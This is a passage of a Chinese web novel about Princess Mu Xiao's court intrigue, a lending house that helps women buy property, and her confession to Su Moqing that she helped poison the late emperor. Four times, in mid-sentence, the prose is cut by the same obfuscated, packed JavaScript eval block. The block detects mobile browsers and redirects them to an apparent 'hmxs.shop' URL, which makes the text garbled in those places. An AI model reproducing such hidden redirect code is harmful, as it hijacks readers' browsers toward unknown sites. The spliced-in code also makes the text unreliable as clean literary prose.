在她们许多人的日常生活里，与这个词扯上关系，并不会被褒奖，甚至极有可能因此被冠上“争风吃醋”“竞燥矜功”“恃才凌人”等罪名。 仿佛只有将头愈埋愈低、将自我缩得越小越好，再将外表套进温婉柔顺、德言容功、矩步规行等标准里，湮于深院脂粉钗环中，才是安全且值得称颂的。 这次拨动她们心弦的第一弹，是昭灵公主亲写的告示规则。 概括起来大致要求是： 借普天之下共怀太皇太后之名，不限长短字数，不限格律形式，不限笔墨纸张，不限女子身份地位，一人最多两篇，标注实际姓名、户籍。 措辞不当不会被追究，严禁代笔，力求按自身所思所长书写。 被择中者有赏，甚至有被召进公主府详谈共悼的可能。 没过几日，京中的祭文便零零散散递了进来。 陶云娴忙时，常直接在公主府客院中住下，不回陶府。 协助她的，有些同她一样住在这边客院，有些本就是公主府中人。 陶云娴每日与她们一同评议文字，思路开阔许多。 她为查阅典籍去过公主府内藏书阁。在原牧府的藏书阁内，俯仰环视那些经史子集、方技稗海，她静默失语之余，一阵狂喜涌上心头，连魂魄都似因她推门而微晃的烛火，摇曳震颤起来。 每日一得闲，她便钻进藏书阁，或是小心翼翼点起灯烛，或是直接借窗外积雪映光，将全副心神浸在卷卷书中，不觉日长。 陶云娴在公主府中真真实实过了一段平静且充盈的日子。 她有时觉得自己就像一撮山茶叶，正在炉上文火煨着的梅枝雪水里缓缓浮沉，舒展原本卷曲干枯的茎络，于悄然无声中重焕新生。 冬日的温茶盏，落入梅花也是常有的事。 藏书阁让她流连，但她夜晚回屋推门前，心中亦会隐隐期待。 桌上常会多出些东西。 第一次看到一段开得相当漂亮的梅枝，她笑着凑近闻了一下，端详把玩一会儿，将梅枝轻轻放回桌面正中央，又盯了几息，出手将它摆正。 第二日，桌上的梅枝换了新。一枝含苞待放，旁边多了一个做工精巧别致的花瓶。 花瓶中已有清水。陶云娴那日有些疲倦，随手将花枝掷入瓶中便去歇息。 再次睁眼，发现唤醒她的是一阵暗香。 会出现在桌上的，不止是花草摆件，还有一些并不算明贵但款式轻巧独特的各类首饰与机关。有时下方会压着张字条，潇洒飘逸的字体简略解释使用方法与注意事项。 时间久了，陶云娴已相当习惯与这些小物件不期而遇。 但有一日，她进门后着实一惊——桌面上赫然是一些包得齐齐整整银两，数额写得明明白白，还注明了日期。 陶云娴退后几步，转身披衣出门，去找露秋。 “秋掌事，抱歉这个时间前来叨扰。但……” “陶姑娘是来询问桌上银两的么？”露秋温柔一笑，“陶姑娘放心，来历与数额都没有问题。” “但我和殿下……我不需要……”陶云娴一时不知该从何说起。 “这个么……只要做了超出分内之事的部分，都会有的。”露秋对她缓缓眨了一下眼，“殿下自己也有。” “若是不想要钱财，可以找公主换个新春愿望。” “天气这样寒冷，陶姑娘近日辛苦，还是早些回去歇息吧。”露秋帮她重新系了身前的系带，整了整衣物，温声补上一句，“陶姑娘什么都不用担心。” “不论殿下是否在府中，也不论殿下是否事事过问，只要我们其中的任何一个在，公主府内，不会发生陶姑娘可能担心过的那些事。” 陶云娴背对着风雪沉默片刻，向露秋道谢拜别后，转身走向自己院中。 等她回到自己院中，关门的片刻，从自己的思绪中抽出，发现露秋其实一直跟在她身后不远处，一路至院门口。 她停下关门的手，见露秋对她微微一笑，在院门外静静施礼告辞，缓缓退到她视线之外。 陶云娴扶着门框默然许久，脑中萦绕的与其说是疑问，倒不如说是一个想法：露秋口中的“我们”，究竟涵盖了多少人呢？ · “但是殿下，这个实在，实在……”这个寒冬的末尾，陶云娴终究还是因桌上出现的新物件来找牧晓了。 这次出现在桌上的，是两张只有格式、没有内容、近乎空白的薄纸。 陶云娴思考许久，惊觉这个制式应当是房契和地契。 “云娴想一辈子住在陶府么？”牧晓合上手中正看的书信，抬头笑问道。 陶云娴无奈道：“实话说，我现在已不想回去了。” “不过，关于房屋这块，我其实已做过打算。” “用云娴自己的嫁妆么？”牧晓语气平静，并不惊讶。 “瞒不过殿下。”陶云娴苦笑道。 陶府内虽然不支持她的想法和行为，但并不算绝情。 牧晗和陶郎中商议后，将为她备的嫁妆交到了她手里——不支持，但不希望女儿在外因银钱之事被人瞧不起。 在公主府中暂居完全不成问题。但若是陶云娴只能住在陶府或公主府，时间久了，公主府也一样会变成她的牢笼。 她需要找到一个完全由她自己做主的地方——或许没有陶府熟悉亲切，没有公主府安全省心，但一定完全属于她自己，只属于她自己。 “完全合心意的院落难寻。更何况律法不允许女子单独做户主，总要找个地方挂靠。”牧晓猜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918391|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到陶云娴大概不会直接接受，也必然有自己的想法。 因此房契地契都是空白的。 “挂靠之事，确实需要麻烦殿下。”陶云娴明白，挂在公主府这边，借宫中的势，能免去很多问题。 “钱财之事，我或许也能提供些帮助。”牧晓想了想，说道，“我知道若是公主府直接借，你肯定会急着还。” “但手中还是留些现银为好。” “有个人能名正言顺帮你，且已有现成流程规则。” “走吧。”牧晓看着有些好奇的陶云娴，又低头看了看桌上的各种文书信件，耸耸肩，“反正一时半会处理不完。” “早知如此……早上一起去就好了。”牧晓叹了口气，“没事。现在也不晚。” · “来得正好。正事没说，光和他说废话去了。”姚千宁丢下儿子，甩甩袖子笑盈盈前来，“还带了友人过来。” 与姚千宁问好后，牧晓见她眼神往陶云娴的方向不经意一闪，对她微不可查地点点头。 “晚辈陶云娴，见过姚庄主。”陶云娴施然一礼。 “云娴呀，不必拘束。一起进屋暖和暖和吧。”姚千宁对着她友善地笑笑，示意她进屋一起说话。 牧晓进屋后对迎上来的苏墨清摊手解释道：“后悔了。早知道刚才就带人和你一起过来了。你们刚才聊到哪儿了？” “刚才么？没聊什么紧要的东西。回府再说不迟。”苏墨清反问道，“你们要说的事，需要我回避么？” “只是与产业相关。”牧晓思索后道，“那产业真算起来，好像也有你一份。” 陶云娴走进来，见礼后坦然笑道：“哪有让借债人回避的道理。” “这个么，倒是谈不上‘借’字……具体细节我不算太清楚，让姚庄主等会与你解释吧。”牧晓说完，拉她坐下，见她还是有点紧张，打趣一句，“其实要是云娴和云娴的父母不介意，我们也能算一家人。” “殿下说笑。这哪里是我介不介意的问题。”陶云娴失笑道，“我母亲那样的态度，殿下不介意就很好了。” 牧晓转向姚千宁，介绍道：“云娴从平良县至今，帮我不少忙。近日之举，少不了云娴的参谋提议。祭文整理评阅这块现在主要是她在负责。” “这么巧，我正要说这件事。”姚千宁含着欣赏之色看着陶云娴，“那篇有古怪的祭文，想必也是过过云娴之手的。” “姚庄主若说的是宫中出来那篇，确实是晚辈挑出的。”陶云娴颔首应道。 “我看了。按字迹和这语气，我认为像宫里的崔太妃。”姚千宁道，“你们在各种宫宴上应该经常见她。” 牧晓与陶云娴对视一眼。 让她们产生交集的暖炉宴上，就有这位崔太妃。 先帝后过世后，又经过洛水刑场前发生的事，先帝的妃嫔，能活下来，且有权有身份正式出席各种宫宴者甚少。 而这位崔太妃，躲过了各种风浪，能存活至今没被任何一场波涛卷入，自有她的本事。 47.无法回头 “以崔嫃之才，写出这篇祭文，我并不奇怪。她的字与文风，都太好辨认，避讳习惯也对得上。”姚千宁再次拿起那份祭文凝视，“不过我想，我和你们觉得古怪的点，应该不同。” “你们觉得哪里古怪？” “我很早的时候就查到过太皇太后的闺名。这是我嘱咐过云娴需要注意的几个特殊点之一。”牧晓答道。 查太皇太后的生平经历，是她开府站稳脚跟后，暗中做的第一件事。 太皇太后原名郑守芬，从未对外公布过，知之者甚少。但这篇祭文中，多次暗含了太皇太后的真实姓名。 姚千宁听后心头一跳：“这点我倒是没注意。” 她本就知晓太皇太后的真实姓名，那几句暗示之语她读起来极其流畅通顺，根本难以发觉。 “我觉得古怪，恰恰是因为崔嫃这篇写得实在太好了，好到让我觉得毛骨悚然。”姚千宁皱眉，“不该的。本不该……” “若是你们没特地查过崔嫃，应当不知——她此生最该恨的女子，大概就是当年的郑太后。” “我第一次知晓这位崔太妃，是因为她是我父皇封的第一位高位后妃。”牧晓在姚千宁沉默的间隙道，“至于其他方面，我不曾特地查过。” 她和母亲当年都未把注意力放在那批进宫的女子身上——一纸圣旨强召进来的，无法拒绝亦无法反抗；自愿进来的，不过是应了下旨人。 就算这次拦住了又能如何？难道要为这点事心力交瘁、分身乏术一辈子么？ 牧晓听母亲对她平静地说，只是缘分尽了而已。美好的感情，能守住一时且留下真挚回忆，已算难得。强求永久，又有什么意思。 人总要为年少时的梦负责。 “崔嫃与现任刑部尚书崔值，实际上是双生子。崔嫃是姐姐。”姚千宁眼中闪烁着怀念，笑了笑，“云娴长辈在刑部任职，应该知道。晓儿能看出来么？” “论外表，实在看不出。”牧晓有些诧异。 那批进宫的女子都很年轻，年纪基本小于已是太子的牧晞。最小的那位，只比当时的牧晓大两岁。 崔太妃看起来也实在年轻，牧晓着实无法将她与现已两鬓泛白的崔尚书联想为双生子。 “崔嫃呀，相当厉害。她和她家中都相当厉害。我与姚家着实不如。”姚千宁感慨道，“前朝那样的风气，她在闺中硬生生留到了三十几岁，全家都齐心支持。” “有传言说，先帝在前朝为相时，帮她家堵回过赐婚的旨意。两家就此结缘。” “可惜，最后挺过了前朝，却被先帝一纸召进宫。” “没有回绝的余地。” “原是说召为女官。很快，不知为何，还是成了妃子。” “能确定的是，每一环节都少不了郑太后从中推波助澜。” 郑太后从不欣赏崔嫃。推她上去，只是因为比起崔嫃，她还是更厌恶楚岚骁。她自己斗不过，便想以“施恩”的姿态，尽可能拉拢宫中人。 而先帝，不论出于何种目的，正有此意，刚好顺势接下。 “或许她看透了罪魁祸首究竟是谁。” “但对于郑太后，她于情于理都很难发自内心称颂成这样。”姚千宁想了想后，觉得有些难以置信，“按我的印象，让崔嫃写这个，她得写一句作势呕一句，不知要扔多少次笔。” 十年光阴，连崔嫃都逃不过被磨了棱角的命么？ 在祭文中不断直呼其名，还暗藏着久久不熄的愤怒么？ “崔太妃明明可以不写。但她主动写了，却未曾署名，甚至托余皇后与其余祭文一同递了出来。”牧晓垂眸思索，“这是何意还有待商榷。” “要是把每字每句的意思反过来读，倒更像崔嫃些。”姚千宁若有所思提议道。 她话音未落，自己先忍俊不禁：“虽然按反义读实在……但这真的很……”真的很符合她印象里的崔嫃。 陶云娴听后思考片刻，莞尔一笑。 牧晓轻轻笑了下，但想到其中一段，僵了一瞬，又快速掩饰过去。 姚千宁眸光一闪，把祭文叠好递与牧晓，对她说道：“崔嫃到底是什么意思，其实并不重要。她笔下的过去与你们眼中的不同，写出来的东西自然大相径庭。” “说到底，你们收这些祭文，只是想先探探本朝女子文词功夫的深浅吧？”姚千宁对着京外方向抬了抬下巴，“就是没有洛水桥头那件事，这孝子贤孙的姿态，你们也是要做出来的；有了那件事，不过多挂上个‘请罪’的名头。” “宫里对这件事的态度倒是耐人寻味。”姚千宁缓缓道，“作为旁观者——或许说得有些迟了——但我还是建议你们当心余长欣和牧崇佑。” “确实发生了些事。”牧晓抬眸笑道，“不过，结果仍在我意料之外——牧崇佑不知在宫里做了什么，说是守孝祈福，实际上是被禁足了三个月。” 虽然实在想不到牧崇佑被禁足的原因，但牧晓处理赈灾事务时，身边终于消停了。 没了牧崇佑，陶云鹤和段弈哲倒是没走，只是在牧晓眼中变得正常许多，甚至更谨慎了些。 牧晓有时会直接将陶云娴写的家书带给陶云鹤。她看出来，陶云鹤收到姐姐的信时，那带着惊喜的笑是发自内心的。 “陶云鹤还问我，你什么时候回家。”牧晓对着陶云娴笑道，“你在家书里记得和他说好。别等真想回去看看时，他一时激动，雇一排马车来公主府门口接你。” “这事，他要是有银两，大概真做得出来。”陶云娴噙着笑意摇摇头，“前因后果我和他简略说过，但他还是不太明白。殿下愿意带他，实在是给殿下添麻烦了。” “他倒算不上什么麻烦，也能帮上些忙。”牧晓道，“他还经常问你需不需要银钱。” “银钱。这个我在行。”姚千宁接下话头，打趣道，“不过，你们要是想把整个京城都买下来，那就有些棘手了。”简而言之，只要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16925252|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是想买下京都，银两数目基本不成问题。 “虽然不复过去的鼎盛……但钱的来路都是正的了。”姚千宁提到过去的辉煌，语气中还是带了点诚恳的惋惜。 陶云娴没敢问“过去的来路有多不正”，抿了抿唇道：“晚辈是想自行购置院落。” 姚千宁见牧晓亲自带人上门，下意识以为她们谋划了点极费银钱且需要秘密进行的事。 听到只是想购买院落，她略带诧异地扫了两人一眼，反应过来——重点并不在“院落”上，而在“自行”二字。 “这我确实有经验，手中也有对得上的产业。”姚千宁正色道，“与前朝相比，本朝律法放宽了些。女子本人画押的契约完全成立，只是因赋税徭役等问题，除了有幼子的寡妇，其余女子几乎无法名正言顺成为户主。” “这点，云娴要是不想让院落与陶府有牵扯，借公主府，等于能直接和宫中扯上关系。能省去很多麻烦，且不影响实际占有。” “若是没有与人成婚的打算，且想自立门户……基本只能等宫中特旨。”姚千宁思忖，“宫中会赏赐院与地是不错，但不会也不好提倡女子这样做。” “除非用功勋向宫中特意提及此事，并列名事由。不然，宫中断不会主动赏‘自立门户’这四个字。” “但将能被宫中认可的功勋，用在这种仅是名头不同还会带来麻烦的的事上，我觉得有点暴殄天物。” 比起成为户主，姚千宁更喜欢成为债主。 “我手下的女子遇到这种问题，一般会找地方借挂。” “有地方借挂后，只剩下银钱问题。” 姚千宁解释道：“那项产业，重点不在于借贷，而在于银钱的流动和保障。” “有用钱意愿的女子，可以自愿加入，解燃眉之急。” “现在拿到手的银钱，不是从铺中借得，而是以往完成意愿的女子归还，甚至是捐赠或暂存入铺的。” “有人做保，可自行前往铺中商议细节并订约。” “无人做保，需要说明情况，层层审阅。” “若是想购入房屋院落，分批分期归还即可。铺中可提供选院、订契、修整等方面的帮助和监督。” “还完原款后，想暂存的钱本金不会折损，可能会有增益，也可能没有。；捐赠的银钱会直接提供给下一位前来订约者。” 陶云娴沉思片刻，意识到这样的模式，与普通民间借款相比，对来访者的道德、信誉与未来前途方面，其实提出了更高的要求。 若是用嫁妆购买屋院，仍跳不出原娘家产业范畴，退回后宅、缩回内宅檐下，仍有可能。 若是选了这样的模式内，等于是被姚庄主名下铺业认可了信誉与前途。不论出于现实利益，还是个人名声的考量，再想回头便不易了。 不过，她本就没打算后退。 “谢姚庄主解惑。”陶云娴下定决心后起身，利落一礼，“先行谢过姚庄主。” 48.人非草木 “这篇祭文，本就不是写给你看的。”苏墨清见牧晓盯着手中祭文出神，轻搭了一下她的肩头，“既然该看的人已看到，没表现出什么异状，现在又问出了撰写者……” “就该放下了，是么？”牧晓将祭文在桌面上铺平，闭了闭眼。 “我的意思是，若是真想知道，明日就是太皇太后的百日祭。不如按你所想，和这位崔太妃见一面。”声音从斜后方传来，内容却不是她料想中的。 牧晓转身看向他，扬眉道：“百日祭……这就奇怪了。你怎么知道我怎么想的？还赞成我进宫直接问？” “要是这篇祭文就是想引我去找她呢？” “知道是故意引你的，你就会不去么？”苏墨清反问她。 牧晓轻笑道：“认识太久就这点不好。我想什么都藏不住。” “有什么需要藏的？”苏墨清理了理手头文章书籍，随手放到一旁桌案上，“在外来回算计、应对还不够累么？要是回府还要这样，还有什么时候可得清静？” “如果你想知道我对祭文中那段的看法……大约与你听到暮药师指我弑父时差不多。” “是又如何？不是又如何？” 牧晓与他静静对视几瞬，缓缓卸下心中绷紧的那根弦，向后一靠：“我知道你不会……我只是……” 我知道你不会信他们口中与笔下的。我只是需要防备、需要紧张的事太多，一时没习惯，就像三四年前那样，有人始终会信我。 祭文中那段，正读下来，提及的是太皇太后生平，赞其与皇孙一辈相处融洽、与先帝后共尽教养后辈之责；但若是按反义读，实际上在暗指太皇太后助皇孙一辈谋害先帝后，共吞天下。 这是崔太妃的无心无用之笔，还是真实意指？她真的知道什么，还是仅仅这样推断？ 又或者这祭文只是崔太妃在宫中闲来随手挥就，本不用反读？ 只是我……我在踌躇，我在煎心，只是因为我实际上，问心有愧、做贼心虚。 而这样的我，你大约从未见过。 牧晓仰头看着房梁沉默半晌，突然开口：“崔太妃的祭文反读，不是完全没有道理。” “上次问你知不知道先帝后的离世的真正原因，你说‘不知’，其实让我松了口气。” “你在仁寿宫中时，说暮药师谋害先帝，惊到的大约根本不止暮药师。”牧晓偏头向一侧，轻声道，“还有当朝帝后。” 如果我在的话，还得加上我。 “先帝看似算无遗策，实际上有几个不易察觉的短板——凡事都喜欢提前准备，行事隐秘小心，力求万无一失。”牧晓缓缓抬起手，低头将面容埋进自己的掌心。 但这个动作并未持续太久。 几息后，像是下定了某种决心，牧晓将手撤下后，弯唇笑了起来：“有句话，我从未说出口过。” “你说他眼拙，我其实很高兴。” “因为我恨他。”说出这句话后，仿佛扼住她脖颈的无形之物被猛然抽走，她感到一阵畅快，笑得更加灿烂，又缓缓补上一句，“从很小的时候起，就是这样。” “比你认识我还要早一点。” “到现在，看到和他长相有几分相似的牧崇佑，我还是会下意识不亲近。” “奇怪么？”牧晓看起来像是在笑着问对面的人，“他在你们眼中，对我很好吧？” 从丞相府里备受宠爱的二小姐，到皇宫中最不受拘束的公主，再到出宫开府、封地、自主婚嫁的密旨…… “为何还不满足？”周围人都这样对我说。有时我连我自己都会恍恍惚惚问自己一句：你主动去争的、要的，他都给了。为何，还不满足。 “但是我依然恨他。”她轻描淡写道。 “他刻意在我母亲看不到的地方，疏忽我的礼法教育，让我与这个世道格格不入，来标榜他的开明；又放大我的所作所为，为他所用。” “从来如此。” “他总是把我当一件礼品般，精心装扮，然后在我猝不及防时，一把将我推出去。” “就像个可以随手送人的玩偶。” “而我除了笑着接下，没有反抗的余地。” “甚至因为他的高明，连反抗的必要都没有。” “儿时的宴会上是这样，你我的婚约中是这样，及笄后多次看似宽和地问我‘想嫁谁’是这样，甚至死前……”牧晓说道此处嗤笑一声，“多么可笑，甚至死前，都不忘试着要挟我。” “人都要死了，什么密旨，还不是我想要什么，和同谋打个招呼，就能得到。” “至于我的同谋么……谁会为我母亲日渐衰弱的身体而悲哀，谁就是我的同谋。” “真是好下作的手段。” “他不仅想要更多的孩子，还想再要正宫嫡子。” “动我母亲的后位未成，直接强迫她又怀了一个。” 她顿了顿，看着虚空，语调忽然塌了下来，颓丧地垂下头：“其实我更恨我自己。” “为什么要出宫呢？我明明，本可以做些什么的。” “母亲尽全力，护了我这么多年。” “但她需要我的时候，我除了看着她渐渐没了声息，还是什么都做不了。” “给我的时间为何这样短。明明，她再等等，再等等，我就能成功……”成功聚一些力，甚至与人合谋，慢慢杀掉先帝。 “但是我留不住她。”牧晓看着自己开始颤抖的双手，“所以那时，我也与我皇兄做了心照不宣的交易。” “我也恨这样的自己。” “我明明知道，皇兄他什么都不在乎——他根本不在乎母亲，对他来说，先帝后一起离世，是最好的结果。” “或许母亲的离世也是他放任的结果、他乐见其成的结果之一。” “但他就在那里。他刚好出现在那里。”牧晓喃喃道。 “当我知道他有弑父夺权的意向时，我为了我想做的，也得借他的力。” “借他的力，成了他的刀。” “先帝最后吃得那颗丹药，是我亲手递的。” “我想，死就死吧。不用等他卸磨杀驴，我会自行了断的。” “但真是荒唐呀。” “他到底是怎么做到的？先帝以为自己真的要羽化成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928670|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仙，威胁我，用的竟然是‘天条’这种虚无缥缈的东西。”牧晓现在想起来还是忍俊不禁，“从那时起，我觉得，我大概是怕错人了。” “他觉得我揣着明白装糊涂，也未尝没有道理。” “但我怕你知道的东西，本不是这些。”牧晓看着对面人轻声道，“我以为，我们两个的手都不算干净，是我们两个之间心照不宣的事。” “是又如何？不是又如何？”她重复着对方刚才这句话，问他，“真的是这样么？” “你要说的东西，我未必不清楚。”苏墨清平静地接道，“但你应该清楚，我的态度一直如此。” “我真是……拿你没办法。”牧晓脸上混着悲伤的笑容一闪而过，她将头转向侧边，避开对方那让她觉得无处遁形的目光，继续笑着说道，“我以为我和我皇兄那谁都未曾说明的交易，会止步于此。” “我会在先帝后丧期结束后，和你成婚，然后顺利离开京城。” “我当时以为，只要不在皇帝眼前，在我的封地里，还有谁能掣肘于我？” “但你呀……” “当初看不出我不想退婚，实际上是怕失去就要到手边的盟友么？”当年在延国公府的怒火，她根本分辨不清，有几分是真情，又有几分是因计划眼看就要被打乱，而生出的惶恐不安。 “我真的很喜欢你看着我的模样。”坚定的，平静的，被深深吸引的，意乱情迷的…… 牧晓缓缓将视线对上对面人的眼睛，继续笑道，“我每次从中看到情意时，都会慌张。而后，就会看到其中倒映的那个，并不算全然真诚的自己。” “从大约七年前，就是这样。” “婚约而已。怎么还掺上真心了？” “和我皇兄的约定而已，你怎么还真替他卖命？” “当我终于想明白，放下吧，放下京中这些是非，坦然接受、坦然面对时……” 迎来的，不是如她及笄之年那般，凯旋宴再次相见，而是玄岳关的战报。 “我发现，我终是什么都没留住。”她笑着叹息道。 辜负了母亲的守护，辜负了青梅竹马的情意，辜负了自己得天独厚的天赋和身份。 从来都棋差一招，从来都迟了一步。 好像一切都已经太晚了。 “你说，我皇兄在我质问他时发的怒，是因为他自己的无能为力。” “而我闯进宫中质问他的原因，又何尝不是因为我的无能为力。” “我问他，就是这样对我这个同谋的么？” “我这个一直以来的同谋。” “我以为，洛水刑场亦是我迟来的断魂处。” “但或许终究是人非草木，或许是母亲一直以来，让他管束我的对策起了效，让他觉得就那么杀了我，太浪费自己的心血。” “我还是活到了现在。” 还是做不到甩下责任潇洒人间，还是无法对她们的痛苦袖手旁观不管不顾，还是无法动手去杀她心里觉得不该死去之人，还是未改当年一条路走到黑的执着。 一路活了下来。 和煦不改，锋芒依旧。 49.向死而生 牧晓说完，沉默了下来。 她没有去揣测对方听后的反应，也没去想这段话里的秘密万一对方泄露出去，会有怎样的后果。她只是静静地待在这份沉默中，似乎有人能倾听她说完这番话，就已然满足了。 过了不知多久，可能只是几瞬，也可能是半晌，她听到对面的人缓缓道：“我有些后悔。” “不该用先帝的事，去激仁寿宫中在场之人。”这样只会把她的处境推到更危险的地步。 当日牧晞就是因此，才突然开始挑拨他们几个的关系——他发现，自己这妹妹，似乎也没想象中的那样信任身边人。 “还有，”苏墨清用略带疑惑的语气问她，“原来还可以更好么？” 牧晓抬头静静地看向他。 “如果你现在和过去，都‘不算全然真诚’的话……那我还得多加学习。” “原来这样还算不够好么？” “做到这个地步，都会问心有愧，都算‘无能为力’——我真的自愧不如。” “我发现自己有个谬见。”苏墨清向前倾身望着她道，“我以为是我做了什么，让你一直觉得我想走，所以才用‘留’这个字。” “现在发现，是自己会的太少，做得不够。” “我该怎么办呢？早早掺上真心又如何，根本抵不过……”他突然很认真地转了个话头，“有人和你说过，在予人温情这方面，你当真厉害么？” “少时挖空心思依旧不敌；现在还是不比你懂爱人之道。”苏墨清无奈地笑笑，“牧晓，这样会让我很期待。” “原来还能更好么。” “那我又该怎样留下你？” 牧晓怔了一下：“只要我还活着，就会一直在。你不需要……” 说到这里，她顿了顿，脸上浮现一抹淡淡的笑容：“你也是这个意思。” “自然。不过，”苏墨清缓缓道，“有一点还是不太公平。” “你总让我们‘好好活着’，你自己呢？” 他伸手握住牧晓的左手腕，另一只手贴上她的掌心，垂眸道：“再早地旧账不翻了。就说从宫里出来那日，你回府要酒与冰，是想做什么？” “你在西南经常这样做？” “刚开始只是应急。后来呢？强迫自己清醒么？” 手中的指尖蜷缩了一下。他将那指尖轻轻抚平：“挑个不致命的伤口浸到酒中，会觉得畅快么？” “我在担子最重的几个隘口，见过那样的神情。” “明白自己总有一天会倒在一场冲锋中，所以能毫无波澜地浇上烈酒，再迎着寒风随意却克制地灌烈酒入喉。清醒，刺激，畅快，至情至性……不用去思索那个不知是否会到来的天明。” “将生死置之度外，所以直面刀锋、勇往直前，向死而生。” “但边军亦有轮岗倒班，戍期有定，有所期盼。” “你准备就这样，一直到颈侧斫刀落下么？”苏墨清轻攥她的手，抬头问道。 牧晓释然地笑了笑：“对。这是我自己选的路。” “我时常为自己的无能为力感到痛苦。” “但我一点都不后悔做过的所有。” “也绝不后退。” 当朝皇帝登基之初，她缩在自己府中白白蹉跎岁月，渴望用掩耳盗铃、置身事外，换一世飘渺虚无的安定，一直在等一双能将她从痛苦中牵出的手。 后退再后退，放过再放过……但为何仍在失去，甚至连先帝在时，她都牢牢抓在自己手里的、挣扎反抗的力量和勇气，都一并放走了。 闭耳塞听、装聋作哑……这样的错误，她此生不想再犯第二次。 “从黄连和黄芪叩响公主府门的那刻起，我意识到，我还有可以做的事。” “我忘不掉她们当时孤注一掷的眼神，也做不置身事外。” “对她们来说，我做的事也有些迟了。我离去的亲人不会再回来，她们的也是。” “但迟来的慰藉，总是比被遮蔽的真相，更能让人瞑目。” 她那段时间总会问自己：你确定你死在此时，真的能瞑目么？ 她总会听到自己答：我不甘心，我放不下。 当年玄岫城里，刚开始，赈灾还是老弱妇孺优先。 后来，时间久了，又有蛮族兵临城下。易子相食，被多次转卖的女子，被赶出门自生自灭的老弱，甚至为抵抗外敌自愿将食物让出的伤残士兵…… 她揪着那通判，问他，不管么，不问么？守备呢，朝中的人呢？就让玄岫城这样烂下去么？明明，明明还有生路。 那通判说，这类情况，前朝并非没有过。前朝衡量了救一城与暂缓救助的利弊，做出过暂缓的决定。 而这次，有后台的，都被调换走了。 这不是好兆头。 独木难支。只是在苟延残喘罢了。 但公主殿下，若是有心，可愿助他？ 哪怕是苟延残喘。 她答应了。 眼看城内情况一日日好转，她与通判商议粮饷部署时，那通判突发旧疾，倒下了。 城外，蛮族在叫主事人出阵谈判。 到场才知，他们哪里是想谈判——只是想再羞辱囊中之物一番罢了。 看到城头的是名女子，他们在笑，在出言不逊。 看到她弯弓搭箭，他们还是捧腹大笑。 不过，下一瞬就笑不出来了。 既斩来使，就得做好破釜沉舟的准备。 违规违制，越权与否，来日后果……她都不再顾忌。 向周边写了多少信，派了多少使者，许了多少承诺，收到多少回绝，换来多少兵马粮草医药，深夜开了多少路，又为城内治安斩了多少不安定者……她浸在其中，时而麻木，时而悲愤，时而迷茫，时而痛苦。 但终究没有后退一步。 哪怕是苟延残喘呢？她总是想起通判的这句话。 哪怕是苟延残喘，也能让全城的人，真真实实多活一日又一日。 “若是说，没有我，自会有他人来救……”牧晓轻声道，“但我就在那里，我刚好在那里。” “与其将希望寄托在不知道会不会出现的‘他人’身上，不如我自己来。” 是非功过任后人评说。 她永远记得自己提着长刀，见朝中援兵终于踏雨赶来，靠着城墙放声大笑时，那份畅快。 那一次，她终于觉得，自己没来迟。 · 迟了么？宫里的崔嫃，最近也在思考这个问题。 仁寿宫暖阁内，她看着郑守芬的灵位牌，拿起素色茶盏，平静地抿了一口。 门帘掀开，崔嫃见牧晓进门行礼，没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16932998|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起身，放下茶盏直接开门见山：“看来云娴，真的要与你一条道走到黑。” 她自认这辈子大发善心的时候不多，且多半没有好结果。 “昭灵公主准备何时让我暴毙于宫内？”崔嫃漫不经心道，“明人不说暗话，定个日子吧。不要与这牌位上之人扯上关系就行。” “我为何要动手？”牧晓听后并不惊讶，自顾自坐下，“我们不也是同谋么？或许我们也都曾自以为是主谋。” 崔嫃无声地笑了：“真聪明啊。” 能让先帝以为自己真的可以羽化登仙，怎么是光靠牧晞、牧晓和太皇太后就能办到的？ “我还以为，你会恨我。”崔嫃心情大好，“不错。也算是应了‘凤生凤’这三个字。” “你母亲什么地方都挺好，就是太在意你。” “我原以为她养出来的都是白眼狼，没想到你真比你那兄长，更像个人。” “前辈谬赞。”牧晓恭敬拱手道，“不及前辈丹心不改。” 